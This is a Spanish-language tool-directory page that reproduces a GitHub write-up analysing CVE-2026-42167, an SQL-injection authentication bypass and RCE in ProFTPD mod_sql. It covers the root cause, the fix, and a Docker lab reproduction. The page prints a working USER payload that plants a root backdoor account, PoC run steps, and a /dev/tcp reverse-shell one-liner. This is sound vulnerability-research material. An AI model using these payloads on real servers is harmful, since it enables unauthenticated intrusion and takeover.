Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
proftpd-CVE-2026-42167-analysis — Reproducción independiente, análisis de causa raíz a nivel de código y redacción de exposición realista para CVE-2026-42167 (bypass de is_escaped_text() en mod_sql de ProFTPD). | Kitploit
Herramientas/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Reproducción independiente, análisis de causa raíz a nivel de código y redacción de exposición realista para CVE-2026-42167 (bypass de is_escaped_text() en mod_sql de ProFTPD).

Ver Repositorio
3110hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42167 — Inyección SQL / Bypass de Autenticación / RCE en ProFTPD mod_sql

Reproducción independiente, análisis del código fuente a nivel de causa raíz y un análisis de exposición franco para CVE-2026-42167 — el bypass de is_escaped_text() en la canalización de registro de mod_sql de ProFTPD, divulgado por ZeroPath Research y corregido en ProFTPD 1.3.9a / 1.3.10rc1.

Construido y verificado de extremo a extremo en Docker en macOS / Apple Silicon, 2026-04-29.

TL;DR — consulte Conclusión para conocer el panorama de exposición realista antes de decidir cuánto preocuparse. Este no es un error de instalación predeterminada, pero el patrón de comillas peligroso es el patrón que la documentación oficial recomienda usar, por lo que una gran fracción de las implementaciones de mod_sql lo heredan.

CampoValor
CVECVE-2026-42167
CWECWE-89 (Inyección SQL), CWE-78 (Inyección de comandos del sistema operativo — vía COPY TO PROGRAM de PG)
AfectaProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery cuya cadena de formato interpola una variable controlada por el atacante dentro de comillas simples
Corregido en1.3.9a (af90843ba…) / 1.3.10rc1, consulte el commit e6f728481 ("Issue #2052")
Commit vulnerable fijadoae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Archivo vulnerablecontrib/mod_sql.c líneas 741–758 (is_escaped_text) y línea 777 (sql_resolved_append_text)
Divulgación originalhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC públicohttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Notas de versiónhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Causa raíz — heurística is_escaped_text() en contrib/mod_sql.c

mod_sql resuelve las variables de formato de registro (%U, %{basename}, etc.) y añade cada fragmento al SQL renderizado mediante sql_resolved_append_text(). Para preservar la compatibilidad con configuraciones de administradores que ya envuelven variables en '…', la función llama a is_escaped_text() para decidir si se necesita sql_escapestring:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

La comprobación es puramente estructural: no puede distinguir *"ya escapado por
código de confianza"* de *"diseñado por un atacante para parecer ya escapado".*
Cualquier valor proporcionado por el cliente que coincida con `'<no-internal-quotes>'` omite
`sql_escapestring` y se concatena en bruto en la consulta final.

La configuración estándar y documentada envuelve `%U` / `%{basename}` / `%m` entre comillas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Cuando el atacante envía USER '<payload>' (comilla inicial y final, sin comillas internas), el resolvedor sustituye %U sin escapar, produciendo ''<payload>'' en el SQL — los literales de cadena vacía cierran las comillas circundantes y <payload> se ejecuta como SQL crudo. Con PostgreSQL (PQexec) y SQLite (sqlite3_exec), se admiten consultas apiladas, por lo que <payload> puede ser cualquier secuencia de sentencias.

Debido a que SQLLog ERR_* se activa en inicios de sesión fallidos y %U se establece desde USER antes de la autenticación, el ataque es completamente no autenticado.

La corrección (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gana un parámetro already_escaped. Los llamadores que resuelven valores de entrada del cliente pasan FALSE y ahora pasan por sql_escapestring incondicionalmente — la heurística is_escaped_text() todavía se aplica para la ruta legítima de "config con valor pre-escapado", pero ya no se aplica a datos controlados por el atacante.


2. Entorno de laboratorio```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- Ambos contenedores se levantan mediante `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita la configuración de registro vulnerable (ver §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`
  y `secrets`, además de un único usuario FTP legítimo `ftpuser / ftppass`.

---

## 3. Reproducción — copiar y pegar

Requisitos previos: Docker Desktop, Python 3.10+, git. (`uv` es opcional; los
PoCs solo usan la biblioteca estándar.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Las dos variantes interactivas en el repositorio upstream (preauth_user_rce.py, postauth_stor_rce.py) no están modificadas y abren una reverse shell respaldada por PTY. Usan la misma primitiva que la variante marcadora — solo sustituye el comando de shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 y escucha en <port> primero.


4. Los payloads, byte por byte

Backdoor pre-autenticación (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Por qué funciona:
Descargar herramienta